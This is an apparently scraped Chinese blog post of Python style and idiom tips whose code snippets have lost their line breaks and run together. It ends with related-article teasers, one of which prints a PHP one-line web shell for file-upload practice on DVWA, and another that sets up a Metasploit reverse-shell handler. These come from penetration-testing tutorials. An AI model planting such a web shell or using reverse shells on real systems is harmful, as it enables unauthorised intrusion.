Python 技能提升(一)

```python```

注释规范

# Add commit for you codes.
# The proper addition of comments is so beautiful.from abc import abstractmethoddef add(a: int, b: int) -> int:# You can write some necessary notes here.# Such as the role of functions, the types and roles of parameters.## But what we recommend more is to know the meaning of the name when naming.# So you don't have to write too many comments.## It's important to remember to update your comments after you change the code.return a + b# The following comments are superfluous.a = 10  # Define a variable to be 10.
b = 90  # Define a variable to be 90.
res = add(a, b)  # Call the function and get the sum of the two.
print(res)  # Output calculation result

文档字符串规范

def execute():"""Execute the action to make the file saved."""passdef test(url: str):"""This is a test function for string document.Some description here.Another description here.Note: The key point to note.Args:url: A string where to fetch the content fromReturns:A string with UTF-8 encoded content provided by the site.Raises:ValueError: if url argument is not of the expected type (str)."""pass# Output Documentation String
print(execute.__doc__)
print(test.__doc__)

注解规范

class Circle:def __init__(self, radius):self.radius = radiusself.area = 0def area(radius: float) -> Circle:"""Compute area of a Circle with given radius."""pass# Show the annotation content of the function
print(area.__annotations__)  # {'radius': <class 'float'>, 'return': <class '__main__.Circle'>}

布局规范

# Different methods in a class should be separated by empty lines.
# This is more aesthetically pleasing, as in the following example.class People:def eat(self):passdef walk(self):pass
# Appropriate blank lines make the code more elegant.def calculate_the_number_of_rows_of_content_from(path: str) -> int:with open(path, 'r') as file:lines = file.readlines()count = 0for line in lines:if line.strip():count += 1return count
# A line of code should be limited to 75 characters.
# If you exceed that amount, you can use the "\" symbol to wrap the line.
# Or, if you use the () symbol, you can simply wrap the line.def some_too_long_method_for_demo_and_specified_usage(first_arg, second_arg, \third_arg, fourth_arg):passtoo_long_variable_for_demo_in_scenario_one = 1
too_long_variable_for_demo_in_scenario_two = 2
too_long_variable_for_demo_in_scenario_three = 3result = (too_long_variable_for_demo_in_scenario_one+ too_long_variable_for_demo_in_scenario_two+ too_long_variable_for_demo_in_scenario_three)
# Tabs and 4 Spaces are not equal.
# We recommend using 4 Spaces for indentation instead of tabs.num = int(input())
if num > 0:pass
# Here is our recommended format.mylist = [1, 2, 3,4, 5, 6
]

断言 assert

def divide(x: int, y: int) -> float:assert y != 0, "错误:除数不能为零!"  # 此行代码大意是:我断言y一定不等于0,如果我预判错误,抛出错误字符串return x / yprint(divide(2, 0))

符号 _

for _ in range(5):  # We only care about cycling five times.print("Hello World")my_dict = {'age': 18, 'name': 'Jack', 'hobby': 'code'}
for key, _ in my_dict.items():  # We are only concerned with its key.print(key)Tree = ('green', 'plentiful', 'leaf')
color, _, _ = Tree  # We only care about color.

列表推导式

class Weight:def __init__(self, weight: int):self.weight = weightdef __repr__(self):return f'weight: {self.weight}'weight_instances = [Weight(n) for n in range(10)]
print(weight_instances)

过滤与映射

nums = [1, 2, 3, 4, 5, 6, 7, 8, 9]def is_odd_number(number: int) -> bool:  # 判断一个数是否为奇数return number % 2 == 1def multiply_by_two(number: int) -> int:  # 将一个数乘以2return number * 2odd_nums = filter(is_odd_number, nums)  # 过滤出奇数
map_nums = map(multiply_by_two, odd_nums)  # 将奇数乘以2result = list(map_nums)
print(result)# 上面代码可以用列表推导式完成nums = [1, 2, 3, 4, 5, 6, 7, 8, 9]
res_nums = [res * 2 for res in nums if res % 2 == 1]
print(res_nums)

灵活切片与*号

my_list = ['a', 'b', 'c', 'd', 'e']# 灵活切片法:(ele_1, ele_2, remain) = my_list[0], my_list[1], my_list[2:]
print(remain)  # ['c', 'd', 'e'](ele_1, middle, ele_2) = my_list[0], my_list[1:-1], my_list[-1]
print(middle)  # ['b', 'c', 'd'](front, ele_1, ele_2) = my_list[0:-2], my_list[-2], my_list[-1]
print(front)  # ['a', 'b', 'c']# 使用 * 号的方法(ele_1, ele_2, *remain) = my_list
print(remain)  # ['c', 'd', 'e'](ele_1, *middle, ele_2) = my_list
print(middle)  # ['b', 'c', 'd'](*front, ele_1, ele_2) = my_list
print(front)  # ['a', 'b', 'c']

模拟 switch-case

import operator  # 内置模块def calculator(var1, var2, symbol):operator_dict = {'+': operator.add,  # operator 模块里面的 加法函数'-': operator.sub,  # operator 模块里面的 减法函数'*': operator.mul,  # operator 模块里面的 乘法函数'/': operator.truediv  # operator 模块里面的 除法函数}return operator_dict.get(symbol)(var1, var2)  # 函数地址 + 括号 => 调用print(calculator(10, 20, '*'))  # 200

温馨提示:在 Python 3.10 推出了 match-case,其功能比其他语言的 switch-case 更强大

推荐阅读:https://blog.csdn.net/wuShiJingZuo/article/details/134589275

装饰器 @dataclass

推荐阅读:https://www.cnblogs.com/wang_yb/p/18077397

from dataclasses import dataclass@dataclass
class People:pass

字典推导式

from dataclasses import dataclass@dataclass
class User:name: stremail: strlist_of_users = [User('Bob', '168@qq.com'), User('Jack', '195@qq.com')]# 普通的写法
emails_for_user = {}
for user in list_of_users:if user.email:emails_for_user[user.name] = user.emailprint(emails_for_user)# 字典推导的写法
emails_for_user = {user.name: user.emailfor user in list_of_users if user.email}
print(emails_for_user)

字典的排序

d = {'a': 400, 'c': 200, 'b': 300, 'd': 100}
print(d.items())  # dict_items([('a', 400), ('c', 200), ('b', 300), ('d', 100)])# 按照键进行排序(升序)
d_list = sorted(d.items())
print(d_list)  # [('a', 400), ('b', 300), ('c', 200), ('d', 100)]# 按照值进行排序(升序)
rule = lambda x: x[1]
d_list = sorted(d.items(), key=rule)  # 这里的key的意思不是字典中的key,而是sorted()函数的一个参数,用来说明以哪个东西进行排序
print(d_list)  # [('d', 100), ('c', 200), ('b', 300), ('a', 400)]# 按照值进行排序(降序)
d_list = sorted(d.items(), key=lambda x: x[1], reverse=True)
print(d_list)  # [('a', 400), ('b', 300), ('c', 200), ('d', 100)]

字典的组合

fruits_price_1 = {'apple': 10.5, 'orange': 8.8}
fruits_price_2 = {'banana': 2.8, 'orange': 9.5}
fruits_price_3 = {'watermelon': 5.5, 'orange': 10.8}# 通过更新将字典组合起来
lastest_fruit_price = {}
lastest_fruit_price.update(fruits_price_1)
lastest_fruit_price.update(fruits_price_2)
lastest_fruit_price.update(fruits_price_3)
print(lastest_fruit_price)  # {'apple': 10.5, 'orange': 10.8, 'banana': 2.8, 'watermelon': 5.5}# 使用星星符号**将字典组合起来(速度会更快,因为它背后做了优化)
lastest_fruit_price = {}
lastest_fruit_price = {**fruits_price_1,**fruits_price_2,**fruits_price_3
}
print(lastest_fruit_price)  # {'apple': 10.5, 'orange': 10.8, 'banana': 2.8, 'watermelon': 5.5}

优美的打印字典

from pprint import pprintbooks_map = {'name': 'Python编程指南', 'author': 'Jack','stars': 5, 'release-time': '2024-5-20','info': {'content': 'Guide to Programming ', 'user': 1000}}pprint(books_map)"""
运行结果:{'author': 'Jack','info': {'content': 'Guide to Programming ', 'user': 1000},'name': 'Python编程指南','release-time': '2024-5-20','stars': 5}"""

集合的运算

# 定义两个集合
programming_languages = {'C#', 'Go', 'Java', 'Python', 'Ruby'}
dynamic_languages = {'Ruby', 'Python', 'JavasScript', 'Lua'}# 集合的
print(programming_languages | dynamic_languages)  # 并集
print(programming_languages & dynamic_languages)  # 交集
print(programming_languages - dynamic_languages)  # 差集1
print(dynamic_languages - programming_languages)  # 差集2
print(programming_languages ^ dynamic_languages)  # 对称差集"""
运行结果:{'Python', 'Lua', 'Ruby', 'Java', 'Go', 'C#', 'JavasScript'}
{'Ruby', 'Python'}
{'Go', 'C#', 'Java'}
{'JavasScript', 'Lua'}
{'Lua', 'Java', 'Go', 'C#', 'JavasScript'}"""# -------------- 案例演示 --------------backend_developers = ['John', 'Rose', 'Jane', 'Steven']  # 前端人员
frontend_developers = ['Jack', 'Rose', 'Jane', 'Tom']  # 后端人员
full_stack_developers = []  # 全栈人员# 筛选出全栈人员:# 原始方法:
for developer in backend_developers:if developer in frontend_developers:full_stack_developers.append(developer)# 利用集合的运算性质
full_stack_developers = list(set(backend_developers) & set(frontend_developers))

集合推导式

class Person:def __init__(self, name):self.name = nameperson_list = [Person('Jack'), Person(None), Person('Tom'), Person('John'), Person(None)]
name_set = {person.name for person in person_list if person.name}
print(type(name_set), name_set)  # <class 'set'> {'Tom', 'Jack', 'John'}

集合处理 Counter

from collections import Counterc = Counter("你好,世界!你好,编程")print(c)
print(c.most_common(3))  # 出现最多共同点中的前3个
print(c.keys())
print(c.values())
print(list(c.elements()))"""
运行结果:Counter({'你': 2, '好': 2, ',': 2, '世': 1, '界': 1, '!': 1, '编': 1, '程': 1})
[('你', 2), ('好', 2), (',', 2)]
dict_keys(['你', '好', ',', '世', '界', '!', '编', '程'])
dict_values([2, 2, 2, 1, 1, 1, 1, 1])
['你', '你', '好', '好', ',', ',', '世', '界', '!', '编', '程']
"""

元组解包数据

# 使用元组解包数据
csv_file_row = ['Jack', '168@qq.com', 35]
(name, email, age) = csv_file_row
print(name, email, age)  # Jack 168@qq.com 35# 使用 *元组 解包数据
group1 = ('Cat', 'Dog')
group2 = ('Eagle', 'Geese')
new_group = (*group1, *group2, 'Snake')
print(new_group)  # ('Cat', 'Dog', 'Eagle', 'Geese', 'Snake')# 使用 *元组 解包数据
def display_users(*users):print(type(users))for user in users:print(user)display_users('Dany', 'Bobby', 'Jacky')# 运行结果:
# <class 'tuple'>
# Dany
# Bobby
# Jacky

元组与占位符_

# 巧用占位符
animal = ('Cat', 'Dog', 'Eagle', 'Geese', 'Tiger')(first, second, _, _, _,) = animal
print(first, second)  # Cat Dog(first, second, *_) = animal
print(first, second)  # Cat Dog

高效拼接字符串

list_of_str = ['Syntax Error', 'Network Error', 'File not found']# 普通方法
concat_string = ''
for substring in list_of_str:concat_string += substring# 高效方法
concat_string = ''.join(list_of_str)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/19165.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Slurm集群使用基础

Introduction 我们在做生物信息分析时&#xff0c;对于大规模的上游数据的处理&#xff0c;一般需要在大型服务器或集群上进行。我最早接触并使用的是一个基于SLURM调度系统的集群&#xff0c;在此记录一下基础使用方法。 高性能计算集群&#xff08;High-Performance Comput…

React 使用JSX或者TSX渲染页面

02 Rendering with JSX Your first JSX content In this section, we’ll implement the obligatory " Hello, World " JSX application. At this point, we’re just dipping our toes in the water; more in-depth examples will follow. We’ll also discuss wh…

vs code中编写c++基本使用以及问题总结

vs code基本使用以及总结 launch.json作用 这个文件配置了调试器的设置&#xff0c;允许你定义如何启动和调试你的程序。这包括配置执行路径、传递给程序的参数、环境变量以及特定语言或框架的调试器选项。 常用配置 "version": "0.2.0": 这是配置文件…

kotlin基础之协程

Kotlin协程&#xff08;Coroutines&#xff09;是Kotlin提供的一种轻量级的线程模型&#xff0c;它允许我们以非阻塞的方式编写异步代码&#xff0c;而无需使用回调、线程或复杂的并发API。协程是一种用户态的轻量级线程&#xff0c;它可以在需要时挂起和恢复&#xff0c;从而有…

安卓中的图片压缩

安卓中如何进行图片压缩&#xff1f; 在安卓中进行图片压缩通常有以下几种方法&#xff1a; 质量压缩: 通过降低图片的质量来减小文件大小。这可以通过Bitmap的compress()方法实现&#xff0c;其中可以设置压缩质量&#xff08;0-100&#xff09;。 ByteArrayOutputStream baos…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

渗透测试工具Cobalt strike-2.CS基础使用

三、结合metasploit,反弹shell 在kali中开启使用命令开启metasploit msfconsole ┌──(root㉿oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

[10] CUDA程序性能的提升 与 流

CUDA程序性能的提升 与 流 1. CUDA程序性能的提升 在本节中,我们会看到用来遵循的基本的一些性能来提升准则,我们会逐一解释它们1.1 使用适当的块数量和线程数量 研究表明,如果块的数量是 GPU 的流多处理器数量的两倍,则会给出最佳性能,不过,块和线程的数量与具体的算法…

什么是访问控制漏洞

什么是AC Bugs&#xff1f; 实验室 Vertical privilege escalation 仅通过隐藏目录/判断参数来权限控制是不安全的&#xff08;爆破url/爬虫/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 访问robots.txt 得到隐藏目录&#xff0c;访问目录 &#xff0c;…

基于Visual Studio版本的AI编程助手

Visual Studio 是一个出色的 IDE,可用于构建适用于 Windows、Mac、Linux、iOS 和 Android 的丰富、精美的跨平台应用程序。 使用一系列技术(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)构建丰富。 1、安装 点击上方工具栏拓展选项,选择管理拓展选项 接着在联机页面中搜索&q…

基于51单片机的室内空气质量检测-仿真设计

本设计是基于单片机的空气质量检测设计&#xff0c;主要实现以下功能&#xff1a; 可实现通过SGP30测量二氧化碳及甲醛浓度&#xff0c;当超过设置的最大值时&#xff0c;进行报警及通风和净化空气处理 可实现通过MQ-4测量甲烷浓度&#xff0c;当超过设置的最大值时&#xff0…

压力测试JMeter

压力测试JMeter 1 下载JMeter1.1 测试计划1.2 JMeter Address Already in use 错误解决1.3 java 内存模型1.4 jconsole与jvisualvm1.5 优化方向1.6 Nginx动静分离 1 下载JMeter 官网地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 运行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 关注“少安事务所”公众号&#xff0c;欢迎⭐收藏&#xff0c;不错过精彩内容~ 前倾回顾 前面介绍了“光环”数据库的基本情况和安装办法。 哈喽&#xff0c;国产数据库&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安装指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代码随想录训练营Day 43|力扣343. 整数拆分、96.不同的二叉搜索树

1.整数拆分 代码随想录 视频讲解&#xff1a;动态规划&#xff0c;本题关键在于理解递推公式&#xff01;| LeetCode&#xff1a;343. 整数拆分_哔哩哔哩_bilibili 代码&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分数字i所获得的最大乘积为d…

景源畅信:抖音小店如何开橱窗?

在当今数字化时代&#xff0c;社交媒体平台不仅仅是人们交流和分享生活的工具&#xff0c;更成为了商家们展示和销售产品的重要场所。抖音作为一款流行的短视频社交应用&#xff0c;其内置的电商功能——抖音小店&#xff0c;为众多商家和个人提供了便捷的在线销售途径。其中&a…

使用NuScenes数据集生成ROS Bag文件:深度学习与机器人操作的桥梁

在自动驾驶、机器人导航及环境感知的研究中&#xff0c;高质量的数据集是推动算法发展的关键。NuScenes数据集作为一项开源的多模态自动驾驶数据集&#xff0c;提供了丰富的雷达、激光雷达&#xff08;LiDAR&#xff09;、摄像头等多种传感器数据&#xff0c;是进行多传感器融合…

Go语言 gRPC 简述

参考文章 grpc-我们为什么要用gRpc&#xff1f;gRpc快在哪里&#xff1f;_grpc 优点-CSDN博客 GRPC详解-CSDN博客 1. 什么是gRPC gRPC 是一个高性能 远程调用(RPC)框架&#xff0c;屏蔽分布式计算中的各种调用细节&#xff0c;可以像本地调用一样调用远程的函数。 2. 为什么要…

jmeter多用户并发登录教程

有时候为了模拟更真实的场景&#xff0c;在项目中需要多用户登录操作&#xff0c;大致参考如下 jmx脚本&#xff1a;百度网盘链接 提取码&#xff1a;0000 一&#xff1a; 单用户登录 先使用1个用户登录&#xff08;先把1个请求调试通过&#xff09; 发送一个登录请求&…

贪心(临项交换)+01背包,蓝桥云课 搬砖

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 0搬砖 - 蓝桥云课 (lanqiao.cn) 二、解题报告 1、思路分析 将物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面证明&#xff1a;&#xff08;不要问怎么想到的&#xff0c;做题多了就能想到&#xff…

AVB协议分析(一) FQTSS协议介绍

FQTSS协议介绍 一、AVB整体架构二、概述三、协议作用及作用对象四、协议的实现五、参考文献&#xff1a; 一、AVB整体架构 可见FQTSS位于MAC层的上面&#xff0c;代码看不懂&#xff0c;咱们就从最底层开始&#xff0c;逐层分析协议&#xff0c;逐个击破&#xff0c;慢就是快。…